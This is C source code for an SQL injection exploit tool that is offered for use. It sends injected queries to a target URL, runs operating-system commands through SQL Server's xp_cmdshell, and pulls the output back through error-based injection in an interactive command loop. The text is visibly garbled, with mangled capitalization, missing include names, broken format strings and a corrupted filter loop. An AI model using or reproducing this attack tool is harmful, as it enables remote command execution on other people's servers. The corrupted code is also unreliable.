SQL Injection SA permission CMD Terminator C source code

Poered By CoolDiyer
// Due to time issues, anyone who has learned C without comments should be able to understand
//////////////////////////////////////// //////////////////////////////////////// //////////////////////
# Include
# Include
# Include
# Include
# Pragma comment (lib, "wininet. lib ")
Char * injurl, * type, * end;
Char * GetResult (char * url)
{
Char buffer [1, 1024*8];
DWORD dwBytesRead = 0;
HINTERNET hNet = InternetOpen ("SqlCMD", PRE_CONFIG_INTERNET_ACCESS, NULL, INTERNET_INVALID_PORT_NUMBER, 0 );
HINTERNET hUrlFile = InternetOpenUrl (hNet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0 );
BOOL bRead = InternetReadFile (hUrlFile, buffer, sizeof (buffer), & dwBytesRead );
InternetCloseHandle (hUrlFile );
InternetCloseHandle (hNet );
Return buffer;
}
Char * ExecCommand (char * cmd)
{
Char url [1024], buff [1024], result [1024], * response, * p, * p1;
Int n = 1, I, j;
Memset (url, 0, sizeof (url ));
Wsprintf (url, "% s; create table [SIC_Tmp] ([id] int not null identity (4000), [ResultTxt] nvarchar () NULL ); insert into [SIC_Tmp] (ResultTxt) exec master .. XP_CMDSHELL % s; insert into [SIC_Tmp] values ([g_over]) -- ", injurl, type, cmd );
Response = GetResult (url );
While (1 ){
Memset (buff, 0, sizeof (buff ));
Memset (result, 0, sizeof (result ));
Wsprintf (url, "% s and (select top 1 case when ResultTxt is Null then [CoolDiyer] [CoolDiyer] else [CoolDiyer] % 2 BResultTxt % 2B [CoolDiyer] end from (select top % d id, resultTxt from [SIC_Tmp] order by [id]) T order by [id] desc)> 0% s ", injurl, type, n, end );
Response = GetResult (url );
If (p = strstr (response, "[CoolDiyer]") p1 = strstr (p + 11, "[CoolDiyer]");
Else {
Puts ("Cannt Injection It ");
Return;
}
Strncpy (buff, p + 11, p1-p-11 );
If (! Strcmp (buff, "[g_over]") {
Wsprintf (url, "% s; drop table [SIC_Tmp] --", injurl, type );
GetResult (url );
Return;
}
// Filter
For (I = 0, j = 0; iif (buff = & buff [I + 2] = t & buff [I + 3] = ;){
If (buff [I + 1] = l) result [j] = <;
If (buff [I + 1] = g) result [j] =>;
I + = 3;
}
Else if (buff ==&& buff [I + 1] == q & buff [I + 2] = u & buff [I + 3] = o & buff [I + 4] = t & buff [I + 5] = ;) {
Result [j] = ";
I + = 5;
}
Else result [j] = buff;
}
Puts (result );
Memset (url, 0, sizeof (url ));
N ++;
}
}
Void main (int argc, char ** argv)
{
Char cmd [1024];
Printf ("= [SQL Inj CMD] ============================== =================================== ");
Printf ("SQL Injection Command Exploit Powered By CoolDiyer ");
If (argc! = 3 ){
Printf ("Usage: sql0000.exe ");
Printf ("Type: 0-> Number1-> char2-> Search ");
Printf ("Example: sql0000.exe asp? Id = 1 "> http: // localhost/index. asp? Id = 1 0 ");
Printf ("= 05-12-22 ================================ ============================= ");
Return;
}
Injurl = argv [1];
If (atoi (argv [2]) = 0 ){
Type = "";
End = "";
}
If (atoi (argv [2]) = 1 ){
Type = "";
End = "and = ";
}
If (atoi (argv [2]) = 2 ){
Type = "% ";
End = "and % = ";
}
While (1)
{
Printf ("SQL Inj CMD> ");
Gets (cmd );
If (! Strcmpi (cmd, "exit") return;
ExecCommand (cmd );
}
}